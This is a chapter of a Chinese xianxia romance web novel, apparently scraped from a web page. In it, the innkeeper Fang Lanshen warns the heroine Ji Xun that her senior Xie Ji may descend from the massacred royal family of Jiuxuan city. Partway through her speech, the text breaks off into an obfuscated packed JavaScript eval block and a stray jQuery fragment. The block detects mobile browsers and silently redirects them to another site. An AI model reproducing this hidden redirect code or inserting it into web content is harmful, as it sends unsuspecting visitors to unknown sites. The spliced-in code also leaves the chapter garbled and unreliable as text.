15.九玄锋金
作品:《拒婚大师兄后他以身证道》 “你先待在此地,我去看看。”
谢既盯着窗外,眉头拧在一起,下意识就要追出去。在要消失那一瞬间,才想起这不很妥当,于是掏出一枚令牌扔给季姰,又极其快速地在屋中布下个法阵,而后就从窗户跳了出去,转眼就没了踪影。
季姰:“……”
这下子自己可以慢慢吃这一顿了。
想起方才瞧见那一幕,季姰还未回过神来,一度怀疑自己是不是看花眼了。可是她从未见过谢既有过这么难看的神色,他虽脾气不怎么样,大多数时候还是气定神闲的,不似刚才那般好像见到了什么你死我活的仇人。
他认出来那些是什么东西了吗?
季姰倒是不太担心谢既的安全,却也难免还是有点心不在焉,拿起筷子又随意地吃了几口,而后将剩下的全装进储物囊,才拿起杨梅饮倒了一杯,小口抿着,等着不知何时能回来的谢既。
就当她这杯喝得见底之时,突然听见有人叩门。
“是谁?”
“你猜猜呢?”
季姰听声音松了口气,走过去开门,对着来人笑了笑:“兰姨。”
正是鸣鹤楼的掌柜方兰莘。
“小姰可吃好了?”
“刚吃完。兰姨可是要同我说话?”
方兰莘不紧不慢地走了进来,举手投足风韵尚存。她漫不经心地环顾屋内,嫣红的唇一张一合:
“同你一起的那位少侠呢?怎么不在?”
季姰有些莫名其妙,但到底没太在意,于是道:
“那是我师兄,他想起来有些东西没买,出去找了。”
“是这样。”方兰莘若有所思地垂眸,季姰已经找好新杯子,斟了杨梅饮放在她面前。她顺势坐下,似是不在纠结这些,转而问道:
“自你拜入仙门已经过去大半年,感觉怎么样?身体有没有好些?”
“挺好的,身体也好多了。”
“师门上下人都怎么样?有没有人欺负你?”
望着兰姨关切的神情,季姰无奈地笑笑,心道按实力来说被欺负是不可避免的,奈何她走的后门太强大,还有沈祛机这么个大杀/器给她“撑腰”,除了些暗中议论和言语讽刺之外,还真没人敢欺负她。
“当然没有啦,大家对我都很好。”
“那就好。”方兰莘轻吐了口气,手捏着茶杯,指甲上的蔻丹在昏黄灯光下更显迷媚。她瞧着季姰,似乎在出神,半晌才道:
“你别嫌我啰嗦。你爹走后,这些是再没有人问的了,我怎么也得替他把把关,盘问盘问。”
季姰心中一暖,只是摇头,就见方兰莘目光已然放空,似乎透过她在瞧什么别的东西,喃喃着:
“你自小身体不好,多少名贵的药下去也不见好转。我也担心,还问老季你以后怎么办,得谁来照顾。毕竟我给你当半个亲闺女看,他不回答,我倒是着急,还暗暗地一点一点筛过去,想着若是给你寻个好夫君,后半生也就无忧了。”
“兰姨,这个就……”
季姰实在也没想到,兰姨竟然还有过这种打算。
“我可没说笑,好歹当这么多年掌柜,各地州府的权贵士族,我还是了解一二的。什么大理寺少卿,郢州知州,北境驻扎的几个少将军,甚至九皇子我都远远瞧见过一眼。再不济就是一些皇商,举人中有潜力的小伙子,江湖上一些名门的少主……我都留意过,几年来真是挑花了眼。”
真是承蒙关怀了。
感动之余又实在好笑,季姰失笑摇头,也跟着打趣道:
“兰姨是真看得起我,我一介医女,您专挑权贵,也得问人家依不依呢?”
“鹤州第一圣手的女儿,深得你爹真传又貌若天仙,要什么样的配不上。”
“那兰姨都挑中谁了?”
“本来觉得有个少将军不错,身体硬朗护得住你,但一想边境那地方苦寒风烈,不养人。我还资助过几个学子,最厉害的那个进了殿试,然后就没了信。想想官绅之家约束颇多,你生性自在受不得规矩约束,我又同江湖人往来更深,所以最后挑中了几个少主,到时候你们快意江湖,游历天下,逍遥自在,多好。”
方兰莘言及此还觉有些惋惜,可瞧见季姰神采奕奕的模样,这些可惜转眼就散了,进而又道:
“谁料想你这丫头还有仙缘,怪不得你爹不似我当初一般发愁。”
季姰心道是不是缘还难说,万一她爹是让她打入仙门当卧底,自己兴许活得还不如病死呢。
她笑笑,没接话茬。方兰莘拍了拍她的手,又说了好一阵子家长里短,楼下有小厮找了上来,说是有人叫,才终于起身打算离开。季姰送她到门前,她打开门,回过头来,似乎有些欲言又止。
“早就想问了,兰姨是不是有什么话要说?”
季姰打从今晚方兰莘来时就有此直觉,但方兰莘似乎有些顾虑,一直未曾提起。
闻言方兰莘又将门合上,左右瞟了瞟,压低声音问道:
“你那个师兄是哪里人?”
“我没问过他,有什么不妥吗?”
季姰心道果然如此,方兰莘对谢既有些过于关注,令她颇觉奇怪。
“我瞧他的样貌,应该是九玄城那边的人。十几年前九玄城宫变,整座城都是尸体,腐臭飘散数十里,却没人知道其中发生了什么。”
“有这种事?”
季姰是真的惊讶,她从前虽不曾有意了解此地,可如今九玄城与其他地方无甚区别。至于方兰莘凭着样貌就能如此确定,可能从前九玄城中人还是异族居多吧。
谢既那双琥珀瞳确实特别,不似中原。季姰下意识觉得他可能有北境或者西疆邦国的血统,不曾想竟然离鹤州这么近么?
“九玄城的贵族是锋金人。十余年前九玄城与我朝往来甚密,其中人也时常来此,那时候我还接待过许多。这些贵族的眼睛都和你那师兄差不离。如今九玄城中也有锋金人,但锋金人是瞳色越浅就越是尊贵。你的师兄那眼睛接近金色了,怕是九玄城当年的皇族后代。”
方兰莘轻吐了口气,不知想起了什么,见季姰目瞪口呆的样子,也没等她消化,又接着说道:
“你也别觉奇怪,我这些年见的人多了,消息灵通的很。九玄城一夜之间成为死城,当时不是没有人查过,可后来都不了了之了。据传是九玄城逆天而行,被降下神罚,天赐不祥,因此凭人力查不出什么。有些传的广的议论,其中讨论此事的人都落得个横死的下场,于是再没人敢去触及此事。可也不知从何时起,九玄城又忽然活泛起来,仿佛之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613716|170830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前那些诡谲惨烈从未发生过。不过现在虽无人敢多去议论,大家还是对九玄城里的人敬而远之了。”
季姰还是没有完全理解方兰莘说了什么,整个人都显得迟钝许多。方兰莘也叹了口气,说道:
“我说这些也不是叫你同你那师兄断绝关系,只是希望你心里无论如何要绷着根弦提醒自己,对任何人都要有所保留。遇事自己多想想。”
她说完就要走,出门之际又想起什么,嘱咐道:
“虽然你如今身在仙门,在这里晚上也尽量不要出去,最近有几起死人案子,有人说是厉鬼索命,总之不太安全。”
话音刚落屋门已然合上。季姰木然地绕过屏风,走到容人休憩的软榻前,干脆利落地躺下了。
信息量好大,还是躺着想吧。
盯着屋顶上的昙花灯和素纱帘出神好一会,季姰什么也没思考,只觉大脑有些空。也不知过了多久,她甚至酝酿出了朦胧的睡意。
思考不一定有用,但睡觉总归没错。
季姰有些佩服得知这么多东西自己还能犯困,眼前跳动的烛影已经自顾自地模糊起来,暖光与暗影融成一片,界限难明。就在她即将会周公之际,有人顺着窗户翻进来,轻巧落地。
她察觉到动静,挣扎着揉揉眼睛坐起身,正对上烛光下那好似流金的琥珀色眸子,正笑眯眯地弯着瞧她。
“三师兄怎么去这么久?”
季姰打了个哈欠,声音有些哑。
“捉老鼠有趣,多玩了会。”
“老鼠?”
谢既没回答,走到桌前,见桌子上多了个杯子,挑眉问道:
“有人来过?”
“嗯,兰姨找我说会话。”
季姰没再多谈,心中有那么一瞬想要问问谢既有关九玄城的事情,但到底是打住了这个念头。几个月相处下来,她并未发觉谢既有什么前尘难解的蛛丝马迹,他像是真的已经忘了。
谢既曾说过他一做噩梦,师尊就不许他下山。这所谓的噩梦,是不是就同他的身世有关系?
若真是如此,他还是想不起来为好,就当个噩梦不必深究。
“你怎么像是有心事的样子?”
谢既拎起茶壶,倒尽最后剩余的杨梅饮,拿起杯子一饮而尽。季姰眨了眨眼睛,闻言叹气:
“就是在想大师兄发现咱们不见了没有。”
“怎么,刚离了半天就想他了?”
谢既戏谑道,于是得了季姰一个白眼。不待二人再说什么,忽地白光大盛,仿若置身冰天雪地之中。这光十分刺眼,季姰下意识地闭眼,待她再睁开之时,就见这天地皆白中有人身形鹤立,衣袍轻软如烟,似灌了凉风,仿若下一刻就要羽化登仙。
仍是孤光照雪。
分明是隐约朦胧,瞧不真切的距离,季姰还是一眼就瞧见那双眼睛。
温润,疏冷,似山泉滴入溪流的水,又如竹叶上的露珠。眸色潋滟,分明无情。
她心里颤了颤,第一反应却不是惧怕,而是腹诽出场干嘛这么大牌面?
不待她说话,沈祛机径自走上前来,仍是从容不迫,像是没有半分愤怒情绪。
眼瞧着两人间的距离缩短,衣袂相触缠绕到一起之时——
才堪堪止住步子。